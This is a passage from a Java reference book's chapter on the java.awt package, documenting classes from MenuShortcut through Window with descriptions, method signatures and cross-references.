When you create a MenuShortcut, you specify the key code of the shortcut--this is one of the VK_ constants defined by java.awt.event.KeyEvent, and is not always the same as a corresponding character code. You may also optionally specify a boolean value that, if true, indicates that the MenuShortcut requires the Shift key to be held down.

Note that menu shortcuts are triggered in a platform-dependent way. When you create a shortcut, you specify only the keycode and an optional Shift modifier. The shortcut is not triggered, however, unless an additional modifier key is held down. On Windows platforms, for example, the Ctrl key is used for menu shortcuts. You can query the platform-specific menu shortcut key with Toolkit.getMenuShortcutKeyMask().

public class MenuShortcut extends Object implements Serializable {
    // Public Constructors
            public MenuShortcut(int key);
            public MenuShortcut(int key, boolean useShiftModifier);
    // Public Instance Methods
            public boolean equals(MenuShortcut s);
            public int getKey();
            public String toString();  // Overrides Object
            public boolean usesShiftModifier();
    // Protected Instance Methods
            protected String paramString();
}

Passed To:

MenuBar.deleteShortcut(),
MenuBar.getShortcutMenuItem(),
MenuItem(),
MenuItem.setShortcut(),
MenuShortcut.equals()

Returned By:

MenuItem.getShortcut()

Previous | Home | Next
java.awt.MenuItem (JDK 1.0) | Book Index | java.awt.Panel (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.46 java.awt.Panel (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.46 java.awt.Panel (JDK 1.0)

This class is a Container that is itself contained within a container. Unlike Frame and Dialog, Panel is a container that does not create a separate window of its own. Panel is suitable for holding portions of a larger interface within a parent Frame or Dialog or within another Panel. (Note that Applet is a subclass of Panel, and thus applets are displayed in a Panel that is contained within a Web browser or applet viewer.) The default LayoutManager for a Panel is FlowLayout.

public class Panel extends Container {
    // Public Constructors
            public Panel();
        1.1  public Panel(LayoutManager layout);
    // Public Instance Methods
            public void addNotify();  // Overrides Container
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->Container->Panel

Extended By:

Applet

Passed To:

Toolkit.createPanel()

Previous | Home | Next
java.awt.MenuShortcut (JDK 1.1) | Book Index | java.awt.Point (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.47 java.awt.Point (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.47 java.awt.Point (JDK 1.0)

This class holds the X and Y coordinates of a two-dimensional point. The move() method sets the coordinates, and the translate() method adds the specified values to the coordinates. The x and y fields are public and may be manipulated directly.

public class Point extends Object implements Serializable {
    // Public Constructors
        1.1  public Point();
        1.1  public Point(Point p);
            public Point(int x, int y);
    // Public Instance Variables
            public int x;
            public int y;
    // Public Instance Methods
            public boolean equals(Object obj);  // Overrides Object
        1.1  public Point getLocation();
            public int hashCode();  // Overrides Object
            public void move(int x, int y);
        1.1  public void setLocation(Point p);
        1.1  public void setLocation(int x, int y);
            public String toString();  // Overrides Object
            public void translate(int x, int y);
}

Passed To:

Component.contains(),
Component.getComponentAt(),
Component.setLocation(),
Container.getComponentAt(),
Point(),
Point.setLocation(),
Polygon.contains(),
Rectangle(),
Rectangle.add(),
Rectangle.contains(),
Rectangle.setLocation(),
ScrollPane.setScrollPosition()

Returned By:

Component.getLocation(),
Component.getLocationOnScreen(),
Component.location(),
ComponentPeer.getLocationOnScreen(),
GridBagLayout.getLayoutOrigin(),
GridBagLayout.location(),
MouseEvent.getPoint(),
Point.getLocation(),
Rectangle.getLocation(),
ScrollPane.getScrollPosition()

Previous | Home | Next
java.awt.Panel (JDK 1.0) | Book Index | java.awt.Polygon (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.48 java.awt.Polygon (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.48 java.awt.Polygon (JDK 1.0)

This class defines a polygon as an array of points. The points of the polygon may be specified by the constructor, or with the addPoint() method. getBoundingBox() returns the smallest Rectangle that contains the polygon, and inside() tests whether a specified point is within the Polygon. Note that the arrays of X and Y points and the number of points in the polygon (not necessarily the same as the array size) are defined as public variables. Polygon objects are used when drawing polygons with the Graphics.drawPolygon() and Graphics.fillPolygon() methods.

public class Polygon extends Object implements Shape, Serializable {
    // Public Constructors
            public Polygon();
            public Polygon(int[] xpoints, int[] ypoints, int npoints);
    // Public Instance Variables
            public int npoints;
            public int[] xpoints;
            public int[] ypoints;
    // Protected Instance Variables
        1.1  protected Rectangle bounds;
    // Public Instance Methods
            public void addPoint(int x, int y);
        1.1  public boolean contains(Point p);
        1.1  public boolean contains(int x, int y);
        #   public Rectangle getBoundingBox();
        1.1  public Rectangle getBounds();  // From Shape
        #   public boolean inside(int x, int y);
        1.1  public void translate(int deltaX, int deltaY);
}

Passed To:

Graphics.drawPolygon(), Graphics.fillPolygon()

Previous | Home | Next
java.awt.Point (JDK 1.0) | Book Index | java.awt.PopupMenu (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.49 java.awt.PopupMenu (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.49 java.awt.PopupMenu (JDK 1.1)

PopupMenu is a simple subclass of Menu that represents a popup menu rather than a pulldown menu. You create a PopupMenu just as you would create a Menu object. The main difference is that a popup menu must be "popped up" in response to a user event by calling its show() method.

Another difference is that, unlike a Menu, which can only appear within a MenuBar or another Menu, a PopupMenu can be associated with any component in a graphical user interface. A PopupMenu is associated with a component by calling the add() method of the component.

Popup menus are popped up by the user in different ways on different platforms. In order to hide this platform-dependency, the MouseEvent class defines the isPopupTrigger() method. If this method returns true, the specified MouseEvent represents the platform-specific popup menu trigger event, and you should use the show() method to pop your PopupMenu up. Note that the X and Y coordinates passed to show() should be in the coordinate system of the specified Component.

public class PopupMenu extends Menu {
    // Public Constructors
            public PopupMenu();
            public PopupMenu(String label);
    // Public Instance Methods
            public synchronized void addNotify();  // Overrides Menu
            public void show(Component origin, int x, int y);
}

Hierarchy:

Object->MenuComponent(Serializable)->MenuItem->Menu(MenuContainer)->PopupMenu

Passed To:

Component.add(), Toolkit.createPopupMenu()

Previous | Home | Next
java.awt.Polygon (JDK 1.0) | Book Index | java.awt.PrintGraphics (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.50 java.awt.PrintGraphics (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.50 java.awt.PrintGraphics (JDK 1.1)

The Graphics object returned by the getGraphics() method of PrintJob always implements this PrintGraphics interface. You can use this fact to distinguish a Graphics object that draws to the screen from one that generates hardcopy. This is a useful thing to do in a paint() method when you want to generate hardcopy that differs somewhat from what is displayed on-screen.

The getPrintJob() method defined by this interface can also be used, of course, to return the PrintJob with which the PrintGraphics object is associated.

public abstract interface PrintGraphics {
    // Public Instance Methods
            public abstract PrintJob getPrintJob();
}

Previous | Home | Next
java.awt.PopupMenu (JDK 1.1) | Book Index | java.awt.PrintJob (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.51 java.awt.PrintJob (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.51 java.awt.PrintJob (JDK 1.1)

A PrintJob object represents a single printing session or "job." The job may consist of one or more individual pages.

PrintJob is abstract so it cannot be instantiated directly. Instead, you must call the getPrintJob() method of the Toolkit object. Calling this method posts an appropriate print dialog box to request information from the user, such as which printer should be used. An application has no control over this process, but may pass a Properties object in which the dialog stores the user's printing preferences. This Properties object can then be reused when initiating subsequent print jobs.

Once a PrintJob object has been obtained from the Toolkit object, you call the getGraphics() method of PrintJob to obtain a Graphics object. Any drawing done with this Graphics object is printed rather than being displayed on-screen. The object returned by getGraphics() implements the PrintGraphics interface. Do not make any assumptions about the initial state of the Graphics object; in particular note that you must specify a font before you can draw any text.

When you are done drawing all the desired output on a page, call the dispose() method of the Graphics object to force the current page to be printed. You can call PrintJob.getGraphics() and Graphics.dispose() repeatedly to print any number of pages required by your application. Note, however, that if the lastPageFirst() method returns true, the user has requested that pages be printed in reverse order. It is up to your application to implement this feature.

The getPageDimension() method returns the size of the page in pixels. getPageResolution() returns the resolution of the page in pixels per inch. This resolution is closer to a screen resolution (70 to 100 pixels per inch) rather than a typical printer resolution (300 to 600 pixels per inch). This means that on-screen drawings can be drawn directly to the printer without scaling. It also means, however, that you cannot take full advantage of the extra resolution provided by printers.

When you are done with a PrintJob, and you have called dispose() on the Graphics object returned by getGraphics(), you should call end() to terminate the job.

public abstract class PrintJob extends Object {
    // Default Constructor: public PrintJob()
    // Public Instance Methods
            public abstract void end();
            public void finalize();  // Overrides Object
            public abstract Graphics getGraphics();
            public abstract Dimension getPageDimension();
            public abstract int getPageResolution();
            public abstract boolean lastPageFirst();
}

Returned By:

PrintGraphics.getPrintJob(), Toolkit.getPrintJob()

Previous | Home | Next
java.awt.PrintGraphics (JDK 1.1) | Book Index | java.awt.Rectangle (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.52 java.awt.Rectangle (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.52 java.awt.Rectangle (JDK 1.0)

This class defines a rectangle as the X and Y coordinate of its upper-left corner and a width and height. The instance methods perform various tests and transformations on the rectangle. The x, y, width, and height variables are public and may thus be manipulated directly. Rectangle objects are used in several places in the java.awt package to specify clipping rectangles and bounding boxes.

public class Rectangle extends Object implements Shape, Serializable {
    // Public Constructors
            public Rectangle();
        1.1  public Rectangle(Rectangle r);
            public Rectangle(int x, int y, int width, int height);
            public Rectangle(int width, int height);
            public Rectangle(Point p, Dimension d);
            public Rectangle(Point p);
            public Rectangle(Dimension d);
    // Public Instance Variables
            public int height;
            public int width;
            public int x;
            public int y;
    // Public Instance Methods
            public void add(int newx, int newy);
            public void add(Point pt);
            public void add(Rectangle r);
        1.1  public boolean contains(Point p);
        1.1  public boolean contains(int x, int y);
            public boolean equals(Object obj);  // Overrides Object
        1.1  public Rectangle getBounds();  // From Shape
        1.1  public Point getLocation();
        1.1  public Dimension getSize();
            public void grow(int h, int v);
            public int hashCode();  // Overrides Object
        #   public boolean inside(int x, int y);
            public Rectangle intersection(Rectangle r);
            public boolean intersects(Rectangle r);
            public boolean isEmpty();
        #   public void move(int x, int y);
        #   public void reshape(int x, int y, int width, int height);
        #   public void resize(int width, int height);
        1.1  public void setBounds(Rectangle r);
        1.1  public void setBounds(int x, int y, int width, int height);
        1.1  public void setLocation(Point p);
        1.1  public void setLocation(int x, int y);
        1.1  public void setSize(Dimension d);
        1.1  public void setSize(int width, int height);
            public String toString();  // Overrides Object
            public void translate(int x, int y);
            public Rectangle union(Rectangle r);
}

Passed To:

Component.setBounds(),
GridBagLayout.AdjustForGravity(),
PaintEvent(),
PaintEvent.setUpdateRect(),
PropertyEditor.paintValue(),
PropertyEditorSupport.paintValue(),
Rectangle(),
Rectangle.add(),
Rectangle.intersection(),
Rectangle.intersects(),
Rectangle.setBounds(),
Rectangle.union()

Returned By:

Component.bounds(),
Component.getBounds(),
Graphics.getClipBounds(),
Graphics.getClipRect(),
PaintEvent.getUpdateRect(),
Polygon.getBoundingBox(),
Polygon.getBounds(),
Rectangle.getBounds(),
Rectangle.intersection(),
Rectangle.union(),
Shape.getBounds()

Type Of:

Polygon.bounds

Previous | Home | Next
java.awt.PrintJob (JDK 1.1) | Book Index | java.awt.ScrollPane (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.53 java.awt.ScrollPane (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.53 java.awt.ScrollPane (JDK 1.1)

This Container class creates horizontal and vertical scrollbars surrounding a "viewport" and allows a single child component to be displayed and scrolled within this viewport. Typically the child of the ScrollPane is larger than the ScrollPane itself, so scrollbars allow the user to select the currently visible portion.

When you call the ScrollPane() constructor, you may optionally specify a scrollbar display policy, which should be one of the three constants defined by this class. If you do not specify a policy, ScrollPane uses the SCROLLBARS_AS_NEEDED policy.

A program can programmatically scroll the child within the viewport by calling setScrollPosition(). getHAdjustable() and getVAdjustable() return the horizontal and vertical Adjustable objects that control scrolling (typically these are not actually instances of Scrollbar). You can use these Adjustable objects to specify the unit and block increment values for the scrollbars. You can also directly set the Adjustable value, as an alternative to setScrollPosition(), but should not set other values of the Adjustable objects.

Use setSize() to set the size of the ScrollPane container. You may want to take the size of the scrollbars into account when computing the overall container size--use getHScrollbarHeight() and getVScrollbarWidth() to obtain these values.

ScrollPane overrides the printComponents() method of Container so that when a ScrollPane is printed, the entire child component is printed, rather than only the currently visible portion.

public class ScrollPane extends Container {
    // Public Constructors
            public ScrollPane();
            public ScrollPane(int scrollbarDisplayPolicy);
    // Constants
            public static final int SCROLLBARS_ALWAYS;
            public static final int SCROLLBARS_AS_NEEDED;
            public static final int SCROLLBARS_NEVER;
    // Public Instance Methods
            public void addNotify();  // Overrides Container
            public void doLayout();  // Overrides Container
            public Adjustable getHAdjustable();
            public int getHScrollbarHeight();
            public Point getScrollPosition();
            public int getScrollbarDisplayPolicy();
            public Adjustable getVAdjustable();
            public int getVScrollbarWidth();
            public Dimension getViewportSize();
        #   public void layout();  // Overrides Container
            public String paramString();  // Overrides Container
            public void printComponents(Graphics g);  // Overrides Container
            public final void setLayout(LayoutManager mgr);  // Overrides Container
            public void setScrollPosition(int x, int y);
            public void setScrollPosition(Point p);
    // Protected Instance Methods
            protected final void addImpl(Component comp, Object constraints, int index);  // Overrides Container
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->Container->ScrollPane

Passed To:

Toolkit.createScrollPane()

Previous | Home | Next
java.awt.Rectangle (JDK 1.0) | Book Index | java.awt.Scrollbar (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.54 java.awt.Scrollbar (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.54 java.awt.Scrollbar (JDK 1.0)

This Component represents a graphical scrollbar. setValue() sets the displayed value of the scrollbar. setValues() sets the displayed value, the page size, and the minimum and maximum values. The constants HORIZONTAL and VERTICAL are legal values for the scrollbar orientation.

public class Scrollbar extends Component implements Adjustable {
    // Public Constructors
            public Scrollbar();
            public Scrollbar(int orientation);
            public Scrollbar(int orientation, int value, int visible, int minimum, int maximum);
    // Constants
            public static final int HORIZONTAL;
            public static final int VERTICAL;
    // Public Instance Methods
        1.1  public synchronized void addAdjustmentListener(AdjustmentListener l);  // From Adjustable
            public void addNotify();  // Overrides Component
        1.1  public int getBlockIncrement();  // From Adjustable
        #   public int getLineIncrement();
            public int getMaximum();  // From Adjustable
            public int getMinimum();  // From Adjustable
            public int getOrientation();  // From Adjustable
        #   public int getPageIncrement();
        1.1  public int getUnitIncrement();  // From Adjustable
            public int getValue();  // From Adjustable
        #   public int getVisible();
        1.1  public int getVisibleAmount();  // From Adjustable
        1.1  public synchronized void removeAdjustmentListener(AdjustmentListener l);  // From Adjustable
        1.1  public synchronized void setBlockIncrement(int v);  // From Adjustable
        #   public void setLineIncrement(int v);
        1.1  public synchronized void setMaximum(int newMaximum);  // From Adjustable
        1.1  public synchronized void setMinimum(int newMinimum);  // From Adjustable
        1.1  public synchronized void setOrientation(int orientation);
        #   public void setPageIncrement(int v);
        1.1  public synchronized void setUnitIncrement(int v);  // From Adjustable
            public synchronized void setValue(int newValue);  // From Adjustable
            public synchronized void setValues(int value, int visible, int minimum, int maximum);
        1.1  public synchronized void setVisibleAmount(int newAmount);  // From Adjustable
    // Protected Instance Methods
            protected String paramString();  // Overrides Component
        1.1  protected void processAdjustmentEvent(AdjustmentEvent e);
        1.1  protected void processEvent(AWTEvent e);  // Overrides Component
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->Scrollbar(Adjustable)

Passed To:

Toolkit.createScrollbar()

Previous | Home | Next
java.awt.ScrollPane (JDK 1.1) | Book Index | java.awt.Shape (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.55 java.awt.Shape (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.55 java.awt.Shape (JDK 1.1)

This interface encapsulates some very generic information about geometric shapes. All Shape objects must have a bounding box--i.e., a rectangle that completely encloses the represented shape.

When the forthcoming Java2D API is integrated with the AWT, this interface may be changed. For this reason, Java 1.1 applications can use this interface, but should not implement it in their own classes.

public abstract interface Shape {
    // Public Instance Methods
            public abstract Rectangle getBounds();
}

Implemented By:

Polygon, Rectangle

Passed To:

Graphics.setClip()

Returned By:

Graphics.getClip()

Previous | Home | Next
java.awt.Scrollbar (JDK 1.0) | Book Index | java.awt.SystemColor (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.56 java.awt.SystemColor (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.56 java.awt.SystemColor (JDK 1.1)

Instances of the SystemColor class represent colors used in the system desktop. You can use these colors to produce applications and custom components that fit well in the desktop color scheme. On platforms that allow the desktop colors to be modified dynamically, the actual color represented by these symbolic system colors may be dynamically updated.

The SystemColor class does not have a constructor, but it defines constant SystemColor objects that represent each of the symbolic colors used by the system desktop.

If you need to compare a SystemColor object to a regular Color object, use the getRGB() method of both objects and compare the resulting values.

public final class SystemColor extends Color implements Serializable {
    // No Constructor
    // Color Constants
            public static final SystemColor activeCaption, activeCaptionBorder, activeCaptionText;
            public static final SystemColor control, controlDkShadow, controlHighlight;
            public static final SystemColor controlLtHighlight, controlShadow, controlText;
            public static final SystemColor desktop;
            public static final SystemColor inactiveCaption, inactiveCaptionBorder, inactiveCaptionText;
            public static final SystemColor info, infoText;
            public static final SystemColor menu, menuText;
            public static final SystemColor scrollbar;
            public static final SystemColor text, textHighlight, textHighlightText;
            public static final SystemColor textInactiveText, textText;
            public static final SystemColor window, windowBorder, windowText;
    // Color Index Constants
            public static final int ACTIVE_CAPTION, ACTIVE_CAPTION_BORDER, ACTIVE_CAPTION_TEXT;
            public static final int CONTROL, CONTROL_DK_SHADOW, CONTROL_HIGHLIGHT;
            public static final int CONTROL_LT_HIGHLIGHT, CONTROL_SHADOW, CONTROL_TEXT;
            public static final int DESKTOP;
            public static final int INACTIVE_CAPTION, INACTIVE_CAPTION_BORDER, INACTIVE_CAPTION_TEXT;
            public static final int INFO, INFO_TEXT;
            public static final int MENU, MENU_TEXT;
            public static final int NUM_COLORS;
            public static final int SCROLLBAR;
            public static final int TEXT, TEXT_HIGHLIGHT, TEXT_HIGHLIGHT_TEXT;
            public static final int TEXT_INACTIVE_TEXT, TEXT_TEXT;
            public static final int WINDOW, WINDOW_BORDER, WINDOW_TEXT;
    // Public Instance Methods
            public int getRGB();  // Overrides Color
            public String toString();  // Overrides Color
}

Hierarchy:

Object->Color(Serializable)->SystemColor(Serializable)

Previous | Home | Next
java.awt.Shape (JDK 1.1) | Book Index | java.awt.TextArea (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.57 java.awt.TextArea (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.57 java.awt.TextArea (JDK 1.0)

This class is a GUI component that displays and optionally edits multi-line text. The appendText(), insertText(), and replaceText() provide various techniques for specifying text to appear in the TextArea. Many important TextArea methods are defined by the TextComponent superclass.

See also TextComponent and TextField.

public class TextArea extends TextComponent {
    // Public Constructors
            public TextArea();
            public TextArea(String text);
            public TextArea(int rows, int columns);
            public TextArea(String text, int rows, int columns);
        1.1  public TextArea(String text, int rows, int columns, int scrollbars);
    // Constants
        1.1  public static final int SCROLLBARS_BOTH;
        1.1  public static final int SCROLLBARS_HORIZONTAL_ONLY;
        1.1  public static final int SCROLLBARS_NONE;
        1.1  public static final int SCROLLBARS_VERTICAL_ONLY;
    // Public Instance Methods
            public void addNotify();  // Overrides Component
        1.1  public synchronized void append(String str);
        #   public void appendText(String str);
            public int getColumns();
        1.1  public Dimension getMinimumSize(int rows, int columns);
        1.1  public Dimension getMinimumSize();  // Overrides Component
        1.1  public Dimension getPreferredSize(int rows, int columns);
        1.1  public Dimension getPreferredSize();  // Overrides Component
            public int getRows();
        1.1  public int getScrollbarVisibility();
        1.1  public synchronized void insert(String str, int pos);
        #   public void insertText(String str, int pos);
        #   public Dimension minimumSize(int rows, int columns);
        #   public Dimension minimumSize();  // Overrides Component
        #   public Dimension preferredSize(int rows, int columns);
        #   public Dimension preferredSize();  // Overrides Component
        1.1  public synchronized void replaceRange(String str, int start, int end);
        #   public void replaceText(String str, int start, int end);
        1.1  public void setColumns(int columns);
        1.1  public void setRows(int rows);
    // Protected Instance Methods
            protected String paramString();  // Overrides TextComponent
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->TextComponent->TextArea

Passed To:

Toolkit.createTextArea()

Previous | Home | Next
java.awt.SystemColor (JDK 1.1) | Book Index | java.awt.TextComponent (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.58 java.awt.TextComponent (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.58 java.awt.TextComponent (JDK 1.0)

This class is the superclass of the TextArea and TextField components. It cannot be instantiated itself, but provides methods that are common to these two component types. setEditable() specifies whether the text in the text component is editable or not. getText() returns the text in the component, and setText() specifies text to be displayed. getSelectedText() returns the currently selected text in the text component, and getSelectionStart() and getSelectionEnd() return the extents of the selected region of text. select() and selectAll() select some or all of the text displayed in the text component.

See also TextField and TextArea.

public class TextComponent extends Component {
    // No Constructor
    // Protected Instance Variables
        1.1  protected transient TextListener textListener;
    // Public Instance Methods
        1.1  public void addTextListener(TextListener l);
        1.1  public int getCaretPosition();
            public synchronized String getSelectedText();
            public synchronized int getSelectionEnd();
            public synchronized int getSelectionStart();
            public synchronized String getText();
            public boolean isEditable();
            public void removeNotify();  // Overrides Component
        1.1  public void removeTextListener(TextListener l);
            public synchronized void select(int selectionStart, int selectionEnd);
            public synchronized void selectAll();
        1.1  public void setCaretPosition(int position);
            public synchronized void setEditable(boolean b);
        1.1  public synchronized void setSelectionEnd(int selectionEnd);
        1.1  public synchronized void setSelectionStart(int selectionStart);
            public synchronized void setText(String t);
    // Protected Instance Methods
            protected String paramString();  // Overrides Component
        1.1  protected void processEvent(AWTEvent e);  // Overrides Component
        1.1  protected void processTextEvent(TextEvent e);
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->TextComponent

Extended By:

TextArea, TextField

Previous | Home | Next
java.awt.TextArea (JDK 1.0) | Book Index | java.awt.TextField (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.59 java.awt.TextField (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.59 java.awt.TextField (JDK 1.0)

This Component displays a line of optionally editable text. Most of its interesting methods are defined by the TextComponent superclass. Use setEchoCharacter() to specify a character to be echoed when requesting sensitive input such as a password.

See also TextComponent and TextArea.

public class TextField extends TextComponent {
    // Public Constructors
            public TextField();
            public TextField(String text);
            public TextField(int columns);
            public TextField(String text, int columns);
    // Public Instance Methods
        1.1  public synchronized void addActionListener(ActionListener l);
            public void addNotify();  // Overrides Component
            public boolean echoCharIsSet();
            public int getColumns();
            public char getEchoChar();
        1.1  public Dimension getMinimumSize(int columns);
        1.1  public Dimension getMinimumSize();  // Overrides Component
        1.1  public Dimension getPreferredSize(int columns);
        1.1  public Dimension getPreferredSize();  // Overrides Component
        #   public Dimension minimumSize(int columns);
        #   public Dimension minimumSize();  // Overrides Component
        #   public Dimension preferredSize(int columns);
        #   public Dimension preferredSize();  // Overrides Component
        1.1  public synchronized void removeActionListener(ActionListener l);
        1.1  public void setColumns(int columns);
        1.1  public void setEchoChar(char c);
        #   public void setEchoCharacter(char c);
    // Protected Instance Methods
            protected String paramString();  // Overrides TextComponent
        1.1  protected void processActionEvent(ActionEvent e);
        1.1  protected void processEvent(AWTEvent e);  // Overrides TextComponent
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->TextComponent->TextField

Passed To:

Toolkit.createTextField()

Previous | Home | Next
java.awt.TextComponent (JDK 1.0) | Book Index | java.awt.Toolkit (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.60 java.awt.Toolkit (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.60 java.awt.Toolkit (JDK 1.0)

This abstract class defines methods that, when implemented, create platform-dependent "peers" for each of the java.awt Component types. Java supports its platform-independent GUI interface by implementing a subclass of Toolkit for each platform. Portable programs should never use these methods to create peers directly--they should use the Component classes themselves. A Toolkit object cannot be instantiated directly. Component.getToolkit() returns the Toolkit being used for a particular component.

The Toolkit class defines a few methods that you can use directly: the static method getDefaultToolkit() returns the default Toolkit that is in use. getScreenSize() returns the screen size in pixels, and getScreenResolution() returns the resolution in dots-per-inch. getFontList() returns the names of supported fonts. sync() flushes all pending graphics output, which can be useful for animation. In Java 1.1, getPrintJob(), getSystemClipboard(), and getSystemEventQueue() are also of interest.

public abstract class Toolkit extends Object {
    // Default Constructor: public Toolkit()
    // Class Methods
            public static synchronized Toolkit getDefaultToolkit();
        1.1  protected static Container getNativeContainer(Component c);
        1.1  public static String getProperty(String key, String defaultValue);
    // Public Instance Methods
        1.1  public abstract void beep();
            public abstract int checkImage(Image image, int width, int height, ImageObserver observer);
            public abstract Image createImage(ImageProducer producer);
        1.1  public Image createImage(byte[] imagedata);
        1.1  public abstract Image createImage(byte[] imagedata, int imageoffset, int imagelength);
            public abstract ColorModel getColorModel();
            public abstract String[] getFontList();
            public abstract FontMetrics getFontMetrics(Font font);
            public abstract Image getImage(String filename);
            public abstract Image getImage(URL url);
        1.1  public int getMenuShortcutKeyMask();
        1.1  public abstract PrintJob getPrintJob(Frame frame, String jobtitle, Properties props);
            public abstract int getScreenResolution();
            public abstract Dimension getScreenSize();
        1.1  public abstract Clipboard getSystemClipboard();
        1.1  public final EventQueue getSystemEventQueue();
            public abstract boolean prepareImage(Image image, int width, int height, ImageObserver observer);
            public abstract void sync();
    // Protected Instance Methods
            protected abstract ButtonPeer createButton(Button target);
            protected abstract CanvasPeer createCanvas(Canvas target);
            protected abstract CheckboxPeer createCheckbox(Checkbox target);
            protected abstract CheckboxMenuItemPeer createCheckboxMenuItem(CheckboxMenuItem target);
            protected abstract ChoicePeer createChoice(Choice target);
        1.1  protected LightweightPeer createComponent(Component target);
            protected abstract DialogPeer createDialog(Dialog target);
            protected abstract FileDialogPeer createFileDialog(FileDialog target);
            protected abstract FramePeer createFrame(Frame target);
            protected abstract LabelPeer createLabel(Label target);
            protected abstract ListPeer createList(List target);
            protected abstract MenuPeer createMenu(Menu target);
            protected abstract MenuBarPeer createMenuBar(MenuBar target);
            protected abstract MenuItemPeer createMenuItem(MenuItem target);
            protected abstract PanelPeer createPanel(Panel target);
        1.1  protected abstract PopupMenuPeer createPopupMenu(PopupMenu target);
        1.1  protected abstract ScrollPanePeer createScrollPane(ScrollPane target);
            protected abstract ScrollbarPeer createScrollbar(Scrollbar target);
            protected abstract TextAreaPeer createTextArea(TextArea target);
            protected abstract TextFieldPeer createTextField(TextField target);
            protected abstract WindowPeer createWindow(Window target);
        1.1  protected abstract FontPeer getFontPeer(String name, int style);
        1.1  protected abstract EventQueue getSystemEventQueueImpl();
        1.1  protected void loadSystemColors(int[] systemColors);
}

Returned By:

Component.getToolkit(),
ComponentPeer.getToolkit(),
Toolkit.getDefaultToolkit(),
Window.getToolkit()

Previous | Home | Next
java.awt.TextField (JDK 1.0) | Book Index | java.awt.Window (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.61 java.awt.Window (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.61 java.awt.Window (JDK 1.0)

This class represents a top-level window with no borders or menu bar. Window is a Container with BorderLayout as its default layout manager. Window is rarely used directly; its subclasses Frame and Dialog are more commonly useful.

show() (which overrides Component.show()) makes a Window visible and brings it to the front of other windows. toFront() brings a window to the front, and toBack() buries a window beneath others. pack() is an important method that initiates layout management for the window, and sets the window size to match the preferred size of the components contained within the window. getToolkit() returns the Toolkit() in use for this window. Call dispose() when a Window is no longer needed to free its window system resources.

public class Window extends Container {
    // Public Constructor
            public Window(Frame parent);
    // Public Instance Methods
            public void addNotify();  // Overrides Container
        1.1  public synchronized void addWindowListener(WindowListener l);
            public void dispose();
        1.1  public Component getFocusOwner();
        1.1  public Locale getLocale();  // Overrides Component
            public Toolkit getToolkit();  // Overrides Component
            public final String getWarningString();
        1.1  public boolean isShowing();  // Overrides Component
            public void pack();
        1.1  public boolean postEvent(Event e);  // Overrides Component
        1.1  public synchronized void removeWindowListener(WindowListener l);
            public void show();  // Overrides Component
            public void toBack();
            public void toFront();
    // Protected Instance Methods
        1.1  protected void processEvent(AWTEvent e);  // Overrides Container
        1.1  protected void processWindowEvent(WindowEvent e);
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->Container->Window

Extended By:

Dialog, Frame

Passed To:

Toolkit.createWindow(), WindowEvent()

Returned By:

WindowEvent.getWindow()

Previous | Home | Next
java.awt.Toolkit (JDK 1.0) | Book Index | The java.awt.datatransfer Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] The java.awt Package

Java in a Nutshell

Previous Chapter 18 Next

